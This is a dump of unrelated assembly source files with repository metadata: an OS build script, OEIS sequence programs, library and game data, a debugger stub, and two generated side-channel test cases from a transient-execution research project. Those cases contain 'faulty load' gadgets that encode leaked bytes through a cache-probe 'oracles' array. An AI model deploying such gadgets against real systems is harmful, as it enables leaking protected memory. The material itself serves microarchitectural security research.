SashaVolohov/VH-DOS
8d723bc3fa881f8f79fbbe0b2356f2f622be649d
[ "Unlicense" ]
3
2021-01-01T17:18:09.000Z
2022-01-08T08:53:55.000Z
sources/compile.asm
SashaVolohov/VH-DOS
8d723bc3fa881f8f79fbbe0b2356f2f622be649d
[ "Unlicense" ]
3
2021-02-09T09:43:44.000Z
2021-06-04T07:15:38.000Z
sources/compile.asm
SashaVolohov/VH-DOS
8d723bc3fa881f8f79fbbe0b2356f2f622be649d
[ "Unlicense" ]
null
null
null
; Операционная система VH-DOS ; © Саша Волохов, Антон Фёдоров. 2019-2021. ; Многочисленные редакции © Артём Котов. 2021. ; Данный файл служит для компиляции всей ОС. ; Он указывает, в каком формате должен быть выходной BIN файл ; Шаблон для добавления своего файла*: ; ` file "путь к файлу" ; *краткое описание файла и Ваш копирайт* ; ` align 512 ; *Файл будет занимать 1 сектор, следственно должен быть >= 512 байт! org 0 macro zerobytes length { db length - 1 - ($ + length - 1) mod (length) dup 0 } HEADS = 1 SPT = 7 Diskette_Size equ 1474560;bytes begin: ; ДИСКЕТА С УСТАНОВЩИКОМ ; СЕКТОР №1 file "setup\pre_boot.bin",512 ; Для следующего загрузчика ; СЕКТОР №2 db 0F0h, 0FFh, 0FFh ; 3,5" HD floppy disk zerobytes 512 ; СЕКТОРЫ №3, 4, 5 file "setup\boot.bin",512 ; Первый загрузчик (MBR) установщик > 512 байт ; СЕКТОР №6 file "boot\boot.bin",512 ; Загрузчик системы [1] ; СЕКТОР №7 file "boot\DOSLDR.bin" ; Загрузчик системы [2] zerobytes 512 ; СЕКТОР №8 file "utils\command.bin" ; COMMAND.SYS zerobytes 512 ; СЕКТОР №9 file "kernel\BSOD.inc" ; BSOD zerobytes 512 zerobytes HEADS*SPT*512 ; Лично я не могу предположить, что здесь имелось ввиду db (Diskette_Size - ($ - 0)) dup (0)
24.960784
81
0.673998
a954f31ddc6eee79e96d4405fffb05abebae08f5
163
asm
Assembly
Assembler/tests/optimizations/branching.asm
asifmallik/SCALE-MAMBA
80db831818b55b7675dd549920b5fb096db4321f
[ "BSD-2-Clause" ]
null
null
null
Assembler/tests/optimizations/branching.asm
asifmallik/SCALE-MAMBA
80db831818b55b7675dd549920b5fb096db4321f
[ "BSD-2-Clause" ]
null
null
null
Assembler/tests/optimizations/branching.asm
asifmallik/SCALE-MAMBA
80db831818b55b7675dd549920b5fb096db4321f
[ "BSD-2-Clause" ]
null
null
null
popint r32 # 324 popint r33 # 325 ldint r37, 2 # 326 jmpeqz r37, 1 # 330 # Local_test-0-if-block-7 print_int r33 # 338 # Local_test-0-end-if-8 print_int r32 # 338
18.111111
25
0.705521
fb15b564b752a0071c1fe9f7775e44b054c4eb02
98
asm
Assembly
libsrc/stdio/ansi/ansifont_f4pack.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
38
2021-06-18T12:56:15.000Z
2022-03-12T20:38:40.000Z
libsrc/stdio/ansi/ansifont_f4pack.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
2
2021-06-20T16:28:12.000Z
2021-11-17T21:33:56.000Z
libsrc/stdio/ansi/ansifont_f4pack.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
6
2021-06-18T18:18:36.000Z
2021-12-22T08:01:32.000Z
SECTION rodata_clib PUBLIC ansifont_f4pack ansifont_f4pack: BINARY "stdio/ansi/F4PACK.BIN"
10.888889
31
0.795918
f3da77b3022b65a7d1b8a9eec97f27a44e3cd869
434
asm
Assembly
oeis/302/A302911.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/302/A302911.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/302/A302911.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A302911: Determinant of n X n matrix whose main diagonal consists of the first n 7-gonal numbers and all other elements are 1's. ; 1,6,102,3366,181764,14541120,1614064320,237267455040,44606281547520,10437869882119680,2974792916404108800,1014404384493801100800,407790562566508042521600,190845983281125763900108800,102865984988526786742158643200 mov $2,1 lpb $0 sub $0,1 add $3,5 add $1,$3 add $1,1 mul $2,$1 lpe mov $0,$2
33.384615
214
0.788018
a11c6941df5dafd8ebd84251a89337018d5b8361
1,215
asm
Assembly
source/Cosmos.Debug.DebugStub/AsmBreak.asm
mmkhmmkh/Cosmos
417df82cf7ee4ed841f82ee4704cbd8d72fe84f7
[ "BSD-3-Clause" ]
1
2021-06-27T07:20:36.000Z
2021-06-27T07:20:36.000Z
source/Cosmos.Debug.DebugStub/AsmBreak.asm
mmkhmmkh/Cosmos
417df82cf7ee4ed841f82ee4704cbd8d72fe84f7
[ "BSD-3-Clause" ]
null
null
null
source/Cosmos.Debug.DebugStub/AsmBreak.asm
mmkhmmkh/Cosmos
417df82cf7ee4ed841f82ee4704cbd8d72fe84f7
[ "BSD-3-Clause" ]
null
null
null
; Genereated at 7/12/2014 7:03:03 PM DebugStub_AsmBreakEIP dd 0 DebugStub_AsmOrigByte dd 0 DebugStub_DoAsmBreak: Mov ESI, [DebugStub_CallerESP] Mov EAX, [DebugStub_AsmBreakEIP] Mov [ESI - 12], EAX Call DebugStub_ClearAsmBreak Call DebugStub_Break DebugStub_DoAsmBreak_Exit: Ret DebugStub_SetAsmBreak: Call DebugStub_ClearAsmBreak Call DebugStub_ComReadEAX Mov [DebugStub_AsmBreakEIP], EAX Mov EDI, EAX Mov AL, [EDI + 0] Mov [DebugStub_AsmOrigByte], AL Mov AL, 0xCC Mov [EDI + 0], AL DebugStub_SetAsmBreak_Exit: Ret DebugStub_ClearAsmBreak: Mov EDI, [DebugStub_AsmBreakEIP] Cmp EDI, 0 JE DebugStub_ClearAsmBreak_Exit Mov AL, [DebugStub_AsmOrigByte] Mov [EDI + 0], AL Mov dword [DebugStub_AsmBreakEIP], 0 DebugStub_ClearAsmBreak_Exit: Ret DebugStub_SetINT1_TrapFLAG: Push EBP Push EAX Mov EBP, [DebugStub_CallerESP] Sub EBP, 4 Mov EAX, [EBP] Or EAX, 0x0100 Mov [EBP], EAX Pop EAX Pop EBP DebugStub_SetINT1_TrapFLAG_Exit: Ret DebugStub_ResetINT1_TrapFLAG: Push EBP Push EAX Mov EBP, [DebugStub_CallerESP] Sub EBP, 4 Mov EAX, [EBP] And EAX, 0xFEFF Mov [EBP], EAX Pop EAX Pop EBP DebugStub_ResetINT1_TrapFLAG_Exit: Ret
15.379747
37
0.74321
c58260496d7fefa8a46695b0426e0197e5d4071f
570
asm
Assembly
data/baseStats/alakazam.asm
etdv-thevoid/pokemon-rgb-enhanced
5b244c1cf46aab98b9c820d1b7888814eb7fa53f
[ "MIT" ]
1
2022-01-09T05:28:52.000Z
2022-01-09T05:28:52.000Z
data/baseStats/alakazam.asm
ETDV-TheVoid/pokemon-rgb-enhanced
5b244c1cf46aab98b9c820d1b7888814eb7fa53f
[ "MIT" ]
null
null
null
data/baseStats/alakazam.asm
ETDV-TheVoid/pokemon-rgb-enhanced
5b244c1cf46aab98b9c820d1b7888814eb7fa53f
[ "MIT" ]
null
null
null
db ALAKAZAM ; pokedex id db 55 ; base hp db 50 ; base attack db 45 ; base defense db 120 ; base speed db 135 ; base special db PSYCHIC ; species type 1 db PSYCHIC ; species type 2 db 50 ; catch rate db 186 ; base exp yield INCBIN "pic/gsmon/alakazam.pic",0,1 ; 77, sprite dimensions dw AlakazamPicFront dw AlakazamPicBack ; attacks known at lvl 0 db KINESIS db CONFUSION db 0 db 0 db 3 ; growth rate ; learnset tmlearn 1,5,6,8 tmlearn 9,10,15 tmlearn 17,18,19,20 tmlearn 29,30,31,32 tmlearn 33,34,35 tmlearn 41,44,45,46 tmlearn 49,50,55 db BANK(AlakazamPicFront)
19.655172
59
0.738596
728c8685257b950dbc4c18ad8d1664b8d97d10c0
298
asm
Assembly
data/wild/maps/Route3.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
data/wild/maps/Route3.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
data/wild/maps/Route3.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
Route3WildMons: def_grass_wildmons 20 ; encounter rate db 7, PIDGEY db 7, ZUBAT db 8, SPEAROW db 7, SPEAROW db 9, PIDGEY db 8, PINSIR db 9, SCYTHER db 8, SCYTHER db 8, JIGGLYPUFF db 10, JIGGLYPUFF end_grass_wildmons def_water_wildmons 0 ; encounter rate end_water_wildmons
17.529412
39
0.728188
e7daa9aa56d46402e0b27b1d9b87bd1cebc6a1ae
452
asm
Assembly
programs/oeis/003/A003259.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/003/A003259.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/003/A003259.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A003259: Complement of A003258. ; 1,4,6,9,11,14,17,19,22,25,27,30,32,35,38,40,43,45,48,51,53,56,59,61,64,66,69,72,74,77,79,82,85,87,90,93,95,98,100,103,106,108,111,114,116,119,121,124,127,129,132,134,137,140,142,145,148,150,153,155 mov $5,$0 mov $8,$0 add $0,3 mov $1,$0 mov $2,$0 pow $5,2 mov $6,2 lpb $2 mov $7,2 lpb $5 trn $5,$1 add $1,$7 add $6,1 lpe mov $2,$5 mov $3,$6 lpe mov $1,$3 sub $1,1 mov $4,$8 mul $4,2 add $1,$4
17.384615
199
0.59292
adb6f14d880547f40aebb7098b07c18948def44b
6,155
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_531.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_531.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_531.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x1cfd1, %rsi lea addresses_normal_ht+0xabf5, %rdi clflush (%rsi) nop nop nop sub %r11, %r11 mov $89, %rcx rep movsb dec %r9 lea addresses_WT_ht+0x1004b, %rdx clflush (%rdx) nop nop sub %rbp, %rbp vmovups (%rdx), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %rcx xor $13245, %rcx lea addresses_D_ht+0xb275, %rbp nop nop nop and $60071, %rdi mov (%rbp), %esi nop nop nop nop nop xor $59610, %rdi lea addresses_D_ht+0x5d75, %rdi xor %rcx, %rcx mov (%rdi), %r11d nop nop nop nop add $19726, %r11 lea addresses_A_ht+0x10e5d, %rcx nop nop nop nop sub %r11, %r11 movb (%rcx), %dl and %r9, %r9 lea addresses_D_ht+0x13355, %r11 nop nop nop nop nop inc %rsi mov (%r11), %rbp nop nop xor %r9, %r9 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r15 push %r8 push %r9 push %rbp push %rsi // Store lea addresses_RW+0x5d15, %r13 add $4236, %rbp mov $0x5152535455565758, %r15 movq %r15, %xmm4 movups %xmm4, (%r13) nop nop nop nop nop inc %rsi // Store lea addresses_RW+0x197d5, %r11 nop nop sub %r8, %r8 movb $0x51, (%r11) nop nop nop nop nop add $11053, %r8 // Store lea addresses_US+0x6e19, %r15 nop nop nop nop add $40067, %r11 mov $0x5152535455565758, %rbp movq %rbp, (%r15) // Exception!!! nop nop mov (0), %r9 nop nop nop nop nop add %r13, %r13 // Faulty Load lea addresses_D+0x14d5, %rbp nop xor $17713, %rsi mov (%rbp), %r9d lea oracles, %rbp and $0xff, %r9 shlq $12, %r9 mov (%rbp,%r9,1), %r9 pop %rsi pop %rbp pop %r9 pop %r8 pop %r15 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'} {'dst': {'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 6, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1, 'same': False, 'type': 'addresses_US'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 4, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 4, 'same': True, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 3, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
35.994152
2,999
0.653615
aeee8dd3c93a0b14e523be061edf9e06a57f8fbc
636
asm
Assembly
oeis/229/A229975.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/229/A229975.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/229/A229975.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A229975: The base 8 expansion of the number of trailing zeros of the base 8 expansion of (8^n)!. ; Submitted by Jamie Morken(m3) ; 2,25,252,2525,25252,252525,2525252,25252525,252525252,2525252525,25252525252,252525252525,2525252525252,25252525252525,252525252525252,2525252525252525,25252525252525252,252525252525252525,2525252525252525252,25252525252525252525 mov $3,$0 add $0,9 div $3,49 sub $0,$3 mov $2,10 pow $2,$0 mov $0,$2 div $0,60000 mul $0,6 div $0,10 mul $0,9 div $0,90 mul $0,40 div $0,15 mul $0,5 div $0,30 mul $0,3 div $0,4 mul $0,12 div $0,11 mul $0,3 div $0,24 mul $0,5 div $0,6 mul $0,2 div $0,10 mul $0,6 div $0,18
19.272727
231
0.727987
1219140c7ceffa11286b1f3621edfdcf2bb0bafe
5,192
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1452.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1452.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1452.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r9 push %rbp push %rcx push %rdi push %rsi lea addresses_D_ht+0x165c0, %r13 add %r12, %r12 mov $0x6162636465666768, %rbp movq %rbp, (%r13) nop nop nop add %r13, %r13 lea addresses_WC_ht+0x13a94, %rsi lea addresses_A_ht+0x10d3f, %rdi nop nop lfence mov $18, %rcx rep movsq nop nop nop nop dec %r13 lea addresses_UC_ht+0xd790, %rsi lea addresses_A_ht+0x1e150, %rdi nop nop nop nop nop add %r9, %r9 mov $60, %rcx rep movsl nop and %rdi, %rdi lea addresses_WT_ht+0x2fd0, %rsi lea addresses_A_ht+0x1e04, %rdi and %r9, %r9 mov $11, %rcx rep movsl nop nop nop and $13234, %rdi lea addresses_WC_ht+0x17950, %rsi sub $64370, %r9 vmovups (%rsi), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $0, %xmm0, %r12 nop nop dec %rsi pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %rbp push %rbx push %rdx // Faulty Load lea addresses_WT+0x1150, %rbp nop nop nop cmp %rdx, %rdx mov (%rbp), %r12d lea oracles, %rbx and $0xff, %r12 shlq $12, %r12 mov (%rbx,%r12,1), %r12 pop %rdx pop %rbx pop %rbp pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 4}} {'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 11}, 'OP': 'LOAD'} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
46.774775
2,999
0.66198
378fda68aa2fede2076186deae632af03d250617
1,849
asm
Assembly
source/tokenise/tok_check_call.asm
paulscottrobson/rpl-65
73f85a6b0f230fa03a41e1a9416c2511cf67f0c0
[ "MIT" ]
1
2019-11-20T09:18:22.000Z
2019-11-20T09:18:22.000Z
source/tokenise/tok_check_call.asm
paulscottrobson/rpl-65
73f85a6b0f230fa03a41e1a9416c2511cf67f0c0
[ "MIT" ]
null
null
null
source/tokenise/tok_check_call.asm
paulscottrobson/rpl-65
73f85a6b0f230fa03a41e1a9416c2511cf67f0c0
[ "MIT" ]
null
null
null
; ****************************************************************************** ; ****************************************************************************** ; ; Name : tok_check_call.asm ; Purpose : Check to see if a tokenised identifier is a call. ; Author : Paul Robson (paul@robsons.org.uk) ; Created : 16th November 2019 ; ; ****************************************************************************** ; ****************************************************************************** ; ****************************************************************************** ; ; On entry, A is an offset in the token buffer which points to an ; identifier. Check to see if this identifier is in fact a call, ; and if so convert it. ; ; ****************************************************************************** TOKCheckIdentifierIsCall: pha phx phy sta zTemp1 set16 zTemp0,ProgramStart ; ; Check Loop ; _TKCIILoop: lda (zTemp0) ; reached the end beq _TKCIIExit ldy #3 ; check if definition lda (zTemp0),y cmp #KWD_SYS_DEFINE bne _TKCIINext ; if not skip. ldx zTemp1 ; position of identifier. iny ; skip count _TKCIICheck: iny lda TokenBuffer,x ; compare identifiers cmp (zTemp0),y bne _TKCIINext inx cmp #$E0 ; go back if not end identifier. bcc _TKCIICheck ; lda zTemp1 ; get identifier position sta TokenOffset ; reset it. lda #KWD_SYS_CALL ; write call jsr TOKWriteToken ldy #1 lda (zTemp0),y jsr TOKWriteToken iny lda (zTemp0),y jsr TOKWriteToken bra _TKCIIExit ; and exit. _TKCIINext: ; go to next program line. clc lda (zTemp0) adc zTemp0 sta zTemp0 bcc _TKCIILoop inc zTemp0+1 bra _TKCIILoop _TKCIIExit: ply plx pla rts
25.328767
80
0.469984
ee524a67a48367a2b57ba971742368885170926e
8,830
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_6145_2008.asm
